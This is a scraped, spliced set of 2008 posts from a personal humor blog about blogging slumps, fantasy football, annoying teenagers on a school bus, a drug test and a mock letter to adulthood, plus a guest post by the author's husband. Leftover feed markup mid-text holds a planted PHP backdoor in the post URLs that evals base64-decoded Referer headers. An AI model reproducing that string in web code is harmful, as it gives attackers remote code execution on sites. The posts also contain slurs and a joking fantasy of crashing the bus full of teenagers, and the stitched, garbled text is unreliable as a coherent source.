I recently read somewhere that websites live and die by their update schedule. If that’s the case, then this website is something of a zombie. Officially it’s dead, but I enjoy giving it just enough juice to reanimate for a while. Clearly I have not been the least bit interested in updating this thing, but something in me demands I keep paying the monthly host fees to keep it online. Weird, huh? I am both attracted to this site and yet repelled. The attraction is easy to explain. This site is full of original pieces (except for a few guest posts). I love everything on here. This is the biggest body of written material I have, and dammit, I’m proud of it. I’m proud of the fact I can write about ‘dookie‘ and ‘sex‘ and ‘tigolebitties‘ – three things I have a load of experience in.

Wait. Is this true?

But as for what repels me though: I suspect it’s the sweet glaze of laziness coating my life. It’s a constant struggle to do ANYTHING. Everything just seems to be such a chore. Work is a chore. Cleaning up is a chore. Looking for a better job (so I can achieve even more mediocrity) is a chore. And a lot of times, writing is a chore. So I don’t know, either I’m in some kind of funk (and have been for the last 26 years) or something is genuinely wrong with me. Now I’m not quick to toss out words like “depression” or “loser”, but something is going on with me. Hopefully it’s just a case of “Toomuchawesomeitis”. If you don’t know what that is, now is the time to seriously rethink your Internet usage.

In other news, Entrecard recently closed my account with them. Apparently when you don’t update your blog in 90 days they pull the plug. I know I shouldn’t be upset, but do you know how long it took me to amass over 20,000 credits?! And just when I was planning to launch a huge comeback, too! Oh well. I’m not going back, though. I was never good at dropping credits and honestly, I don’t see how people have time for it. Is there really a need for dropping credits, Facebooking, MySpacing, and Tweeting all in the same day? Think: all this in addition to being human. No thanks. My relationship with Entrecard has ended (they dumped me), I closed my MySpace account (this of my own accord, thank you very much), and anyone “following” me on Twitter knows I almost never update. I could at least say I was behind the idea of Entrecard, but I still don’t see the point of Twitter. I know a lot of people are having success with it… even famous people are on there now. But even though I might like you, I really don’t care what the hell you’re doing at 3:21 in the afternoon. I don’t even care what my husband is doing at 3:21 in the afternoon. So… yeah.

However, I do Facebook. I find this site is a good way to keep in touch with the people that linger on the fringes of our lives. You know who I’m talking about. Facebook lets you talk to people you’re kinda sorta interested in, but not enough to actually call or hang out with. And if you’re anything like me, some of these people might include family. So I’m not giving up on social networking completely, but I am going to pick one and stick with it.

Until next time! Which, believe it or not, will be soon!

**Photo courtesy of atp_tyreseus**

And trust me, this blog means a lot to me. It may not seem like that’s the case, but it’s true. The problem is that I fall into different slumps and it’s really really hard to get out of them.

You know how you write something and you think it’s crap, but then someone else reads it and they love it? That’s how I feel about this blog and pretty much everything I write in general. I write and write and write and edit and edit and edit… until I feel it’s less like pure shite and more like a bad smell in the room. The latter obviously being a step up. Now I love compliments and aside from the fact I have no idea how to take them – other than responding with a light twist of self-deprecation – I’m not saying all this in the hopes you issue forth kind words. I’m saying this because it’s the truth… plain and simple.

Which leads me to reveal…

I’ve decided to seriously try my hand at writing. Which is the main reason I’ve been MIA in the blogosphere. For now I’m sticking with short stories, but there are a few book ideas floating around. I know what you’re thinking: who DOESN’T want to be a writer? But for me, this is more of a personal thing rather than a “I really think I have a chance in hell of getting published” kinda thing. The main goal is to finish something. Anything. Often times while I’m driving, I’ll have an idea so awesome it’s amazing my head didn’t explode from thinking it. Usually I come home, sit in front of the computer and let my fingers do the talking. But something always happens. The momentum eventually slows, and I’m left with a great start, a ‘meh’ middle, and no ending in sight. Frustrating to say the least. So what exactly am I supposed to do? What do you do when suddenly the connection you had to the material packs its bag and leaves you for someone else? And what does it mean? Am I lazy? (unlike the other questions, this one is rhetorical) or…. is it just the mind of an amateur at work? Does it get easier the more I do it? Am I rushing things?

Anywho, let’s move on.

It has come to my attention how much I hate ‘random dance numbers’ in films. It’s not that what they are doing isn’t entertaining… it’s that logically it makes no sense that the people involved would know the right steps to whatever ‘number’ they are performing. If a guy walks into a train station and starts gettin down, what are the chances people around him would join in? And even better… why would they join in? How would they know the right moves? No one thinks it’s weird that a group of people who’ve never met one another would miraculously perform a flawless dance sequence? Seriously, this is worth thinking about. The only way this would be possible (and this is a stretch) is if there was some secret dance society that recruited people and taught them a certain number of routines. This way, whenever they found themselves in a public place where dance could break out any second, they wouldn’t hesitate to “shake what their momma gave them”.

Seriously, all I’m asking for is a little context.

But as awesome as a secret dance society sounds, I can’t help but wonder why no one thought to invite me to join. I like… to dance. Aside from the fact I have absolutely no rhythm, I think effort should count for something. So I miss a few beats here and there – and step on some toes… so what? Is this really cause enough to leave me out? Apparently so since I have yet to receive any envelopes with mysterious writing. Okay, that’s not true entirely. I HAVE received at least one envelope with mysterious writing, but I’m sure it’s from the peeping Tom in the apartment building across from ours. He likes to stare at us a lot, and I figure he’s just extending the branch of friendship by giving us a Christmas card.

I hope you guys enjoy the coming holidays. I have big plans for this site come 2009… plans involving actually updating. I had better end here before I give away anything else.

Sorry Jan, I honestly didn’t know.

There have been some ghastly rumors going around I feel I need to address. Let this post serve as one that separates FACT from FICTION.

FICTION: JillianApproved has decided to close up shop.

This is not true. Now mind you, I could have been the one to start such a rumor… but I’m setting the record (and myself) straight. It’s not happening. Yeah yeah, I know it says I update twice a week and those of you who visit regularly know it’s a damn lie. That will change. See, I learned something: you can’t put creativity on a fucking schedule. That shit flows whenever it flows and you just need to be there to catch it. Needless to say my cup hasn’t runneth over in quite a while. So no more schedule, no more deadlines, and no more feeling bad about not updating when I said I would. From now on, it happens WHEN it happens.

Consider this the beginning of a new era. You’re welcome.

FACT: My Fantasy Football team sucks more than a crack-whore in a dark alley.

You know what? I can admit that shit. So I drafted bad. Whatever. Who knew Carson Palmer was going to be the pile of shit on an otherwise delicious plate of would-be victory? Who knew Chad Ocho Cinco would, thus far, be such a non-factor? Who knew Derek Anderson would have such a shitty start to the season? Apparently everyone but me. And to think, there I was on draft day confidently picking players I just knew were going to tear it up. I have only myself to blame as I head into Week 4 with 3 straight losses.

Worst. Fantasy. Season. Ever.

FICTION: Teenage girls have anything remotely relevant to talk about.

They don’t. Or maybe they do. I mean I really shouldn’t judge, in fact maybe I should give them the benefit of the doubt. Perhaps it’s just the girls on my bus that are mindless chatterboxes going on and on about shit that would make me kill myself if I HAD to listen to it longer than I currently do. I’m sure elsewhere in this vast and beautiful universe there are tons of teenage girlies that enjoy stimulating conversation wherein boys, MySpace, or “hotness” is never mentioned. That’s possible… right?

But maybe you need a sample of the high-pitched drivel I speak of: (Names have been changed because I don’t care enough to learn their real ones)

Sasha: Omigog! Omigod! Omigod! I saw Aaron today! He is sooooooo cute!

Gina: (emits a sickening squeal) I know, right??! He IS SOOOOOO cute!

Terri: Aaron? Is he the cute one???!!

Sasha and Gina: YES!!!! We think he is sooooo cute!

Terri: Omigod!!!! I think he is soooooo cute, too!!!!!!!

So yeah… these girls need to shut the fuck up. I doubt they will ever know how lucky they are I don’t just drive the bus right into the center divider. Just the thought of their motionless bodies and the blessed quiet that would follow… No one could blame me, better yet, no one SHOULD blame me.

FACT: This blog is called “JillianApproved: Humor, News, and Nonsense” but has never done anything news-related to date.

This is true. I have more fun doing the nonsense part to be honest. But, I have come across several news stories that I thought were funny, or interesting, or worth mentioning for various reasons. Just recently I heard about a guy in Baltimore who is suing a doctor for stapling his rectum shut causing him to go 17 days without taking a dump.

Hahahaha. Seriously.

I would write more on the story, but the article I found was funny all by itself: – Take special note of the quote they get from the victim’s attorney.

Man sues Md. doctor, says butt stapled shut

]]> http://www.jillianapproved.com/2008/09/27/this-aint-a-motherfuckin-comeback/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 22 http://www.jillianapproved.com/2008/08/14/its-like-a-guitar-string-when-you-pluck-it/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.jillianapproved.com/2008/08/14/its-like-a-guitar-string-when-you-pluck-it/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 14 Aug 2008 09:29:20 +0000 Jillian http://www.jillianapproved.com/?p=130 Did any of you ever see the movie “The Inkwell”? The title is a line from the film. There’s a scene where this kid’s Dad is trying to explain sex… along with the importance of the CLITORIS. Now I’m not sure if the Dad actually says the word CLITORIS, I mean it’s quite possible he just meant the VAGINA as a whole.

But something makes me pretty sure he was referencing the almighty CLITORIS.

I have no reason to mention this quote other than to say I still don’t get what the Dad meant. How is it like a guitar string? What exactly is getting plucked? I’m not going to lie: I’m VERY familiar with my “sex” parts, but I don’t know anything down there that requires plucking. Rubbing? Sure. Stroking? Of course… but plucking? Not so much. I pride myself on having a good relationship with the big “V”. We’ve known one another my whole life, and the relationship is so good I don’t even have to call before I visit. And let’s face it: whenever I DO drop by, we both know it’s only for one reason. Well, if you want to get into specifics, maybe it’s more than just ONE reason, but you get the picture.

In other news:

The job is going well… I guess. The money is good, but it’s certainly not doing anything to warm me up to the idea of having kids myself. And I am definitely no closer to being able to tolerate teenagers. As of now, I do a pretty good job of ignoring everyone on the bus and only speaking when someone speaks to me first. I’m pretty sure the students and counselors think I hate them, but I don’t worry about it too much. In the end, the only thing that matters is me getting them to their destinations safely and on time.

So there are these little boys who like to sit behind me and talk to each other the entire trip. Everyone else has enough sense to bring an iPod or fall asleep, but not these boys. The first time they sat behind me I thought they were retarded because they kept making cow noises and rocking back and forth. But it turns out they’re just stupid. Kids these days. I want so bad to turn around and tell them I see many many years of Virginity in their future.

I’ll be honest and say that I’ve thought about shutting this blog down. Jan can’t help but remind me EVERY DAY how many deadlines I’ve missed. Seriously. He tells me even before he says “Good morning”. I would leave him, but then I’d have to get a real job. And well… real jobs suck. However, I do wanna extend my appreciation to the people that visit even though the site has gone to crap. You know who you are.

Don’t worry, I’ll make it un-crappy.

Amongst a few laughs, I registered to vote AND signed the stupid petition. And just to show him I valued the ability to create change in our government, I read the whole thing… every over-complicated word of it. I could tell he was impressed seeing someone so young taking their ‘voice’ seriously. He happily answered all the questions I posed and even offered information I didn’t ask for. For example, he was nice enough to give me some advice on marriage – you know, the hardcore stuff they won’t even put in books: “You have to train him (referring to my husband) early. You’re in control!” I laughed when I heard this. Does he know who I’m married to?

But his spigot of information didn’t turn off there. The guy dabbed sweat off his brow and then cited a statistic which I had only heard half of before:

Guy: Did you know [on average] single women live 7 years longer than married women, and married men [on average] live 10 years longer than single men?

Me: Well that sucks… are you trying to tell me something?

Guy: No, I just thought you should know.

Me: Umm, thanks.

Guy: You’re welcome.

I was tempted to ask where he got such information and if he was married himself. I doubt it, he gave off a strong impression of still living with mom. Not that there’s anything wrong with living with your mom… except if you’re a grown unmarried man in a bad fitting suit giving marriage pointers without ever having been married yourself.

But I realize there are a lot of stats I have taken at face value. Either I have read them in passing or people have relayed them to me from a source of their own finding. Like when I was 13 my mom took me to the doctor to discuss my menstruation cycle. All I knew was now I could have babies; I was to learn later there was a bit more to it than that. Anyway, my doctor gave me all these pamphlets about a woman’s body and just what it’s going through during that “time of month”. I read in one of them that on average a woman loses half a cup of blood during her period, though it may seem like more. This comforted me because in my mind it set some kind of boundary. I wouldn’t die or be terribly weakened from losing just half a cup over a span of 5-7 days. Whew.

I have read that most accidents happen within 5 miles of home, that people drive an average of 12,000 miles a year, that women speak twice as any words as men in a day, that the average career of a NFL running back is 5 years, that the more times you get married the more likely each marriage is to fail, that by 2025 more kids will be born out of wedlock than in, and that if a guy eats pineapple his sperm will taste yummy.

I can’t remember where on earth I read the last one.

Anyway, she’s been after me for awhile to do some sort of “guest post”, which is just a nice way of saying “do my work for me”. So, here goes. I’m pretty rusty at this sort of thing -I haven’t done any real blogging for about 3 years.

I was a bit conflicted on what to write, to be honest -I dig the “Approved, Disapproved” gimmick Jill’s been working, but I couldn’t decide which way to go. So, in the grand American tradition of excess, I’ll do one of each.

JAN APPROVES OF: SWEATPANTS

Sweatpants are freaking Awesome. They don’t judge you like jeans…they’re supportive. “Hey, put on a few pounds? Don’t worry, happens to all of us. Just let that drawstring out a little and we still fit just fine!” Meanwhile, those uppity blue jeans refuse to mold to your expanding girth. And frankly, few items of clothing have greater capacity for comfort. Hell, I’ve got a pair of blue Adidas sweats that, in this house, are referred to only as The World’s Most Comfortable Sweats. To call them anything else would demean their remarkable facility.

Sweatpants are versatile as well. Maybe you’re lounging around the house, perhaps trying to watch the Angel game, when the wife demands -in a shrill voice -that you fetch her something from some store or another, you’re not sure because you stopped listening? As long as your sweats are halfway decent, you can just stroll right on out. A good looking pair of sweats is socially acceptable attire anywhere from “hangin’ with the homies” to “dinner at semi-casual restaurant“. Don’t let anyone tell you your sweats are “inappropriate”! I say rock those fucking wonder pants! Truly, the apparel of the gods.

JAN DISAPPROVES OF: TEENAGERS

Teenagers suck. It’s just a universal truth. It’s kind of remarkable, really -the suckitude of teens cuts across racial, socio-economic, cultural and and religious lines. Teenagers today are just fucking insufferable to be around, especially when you’ve had the bloody common sense to not have any kids and yet you’re forced to deal with other people’s demon spawn. They’re like another species; they speak some incomprehensible yet truly retarded language, they wear shit Amy Winehouse would be ashamed of( have you seen the fucking BOOTS they’re wearing now? When did He-Man replica apparel become chic?), and they appear to be utterly oblivious to just how infuriating much of their public behavior is. And the ones who are aware think its cool. Fucking little pubescant bastards. I weep for our future if these geniuses are in charge of it.

Well, I think that’s enough from me. I’ll make sure Jill gets back to unleashing the funny onto the unsuspecting interweb soon, I promise.

Until next time.

Sure, the company I’ll be working for needs to know I’m not a crackhead, but I just wish there was a less awkward way to go about it. Whenever I’m handing the tester my cup of urine, I always feel like I should apologize or try my hand at small talk to break the mood. Maybe something like, “Don’t spill” or “It’s nice and fresh just like nature intended.” You know, anything to distract from what’s going on.

And what thoughts are swirling in the person’s mind as they accept my cup of warm liquid waste? Is this really the job they signed up for, or is it just a small part of their regular duties? Whenever they know someone is there for a drug test, do they cringe a little inside? There is no way I could keep my face impassive while I transferred someone’s piss into little tubes scheduled for send off to some lab. I actually commend the people assigned this task, because they really do make it seem like it’s the most normal thing in the world. A person rains gold in a cup, hands it to them, and they take care of the rest. Nothing odd about that at all.

I usually feel like a criminal during the whole operation even though I have nothing worry about… unless they start asking strategic questions about my teenage years. But really, there is just something strange about someone waiting outside the bathroom while I’m inside squatting over a toilet holding a cup. It does a really good job of making me feel dirty, and outside of the bedroom, that’s not cool.

So yeah, I can get down with gay marriage and even the people that like to suffocate themselves before orgasm. But having someone thank me for my steaming cup of fresh piss is weird.

Hi. My name is Jillian. We met briefly when I turned 18, but haven’t had much contact since. I’ve heard a lot about you, and not all of it good. Some people say you suck the fun out of everything and require people to be serious all the time, but I’m sure that’s just gossip. Surely you can’t be all bad. I mean it’s because of you I got to vote and buy my first pack of cigarettes. And later, when I turned 21, I’m told it’s you that made it OK for me to finally buy alcohol. This was good because I was tired of getting people to buy booze for me. So thanks for that.

But I didn’t write this letter just to express gratitude. I want to make a few requests. First off, can you please make it OK for “one of the X-men” to be an acceptable answer when people ask, “Where do you see yourself in 5 years?”? I don’t understand why I get such odd looks, and I am tired of the attitude that comes with them. It’s a perfectly reasonable goal. Also, what’s with the glances I get from reading comics in public? Am I not allowed to like cartoons anymore? Is there some magical age at which the things that entertain me should change? If there is, someone neglected to send me that memo. Some people read the Wall Street Journal with their morning coffee and some people like to crack open a trade paperback and read up on Marvel’s Ultimate Universe. ‘To each his own’ I say.

Lastly, I have some concerns regarding growing old. Is there any way I can avoid the whole ‘peeing and shittin myself’ thing? To be honest, those are things I am totally willing to pass on. Pissing the bed is one thing when you’re a kid, but as an adult it’s kinda embarrassing. Even though there is a market for adult diapers, I’d just prefer to never need such a thing. I mean really… adult diapers? There’s no way that’s right.

Additionally in my golden years, if it’s not too much trouble, I’d also like to avoid uncontrollable drooling or being one of those seniors that tells the same fucking stories over and over again. If you knew how many times I had to listen to some poor bastard get caught in a story cycle about that time they did that thing, you would understand why this is something I wish to avoid.

Anyways, I think this covers pretty much all I wanted to say.

I know you maintain a pretty busy schedule, so I really appreciate you taking the time to read this.

Your youthful associate,

Jillian

Don’t cry, that just makes it awkward for both of us.

In the meantime, have a great weekend and happy blogging to all!

Your pal,

Jillian.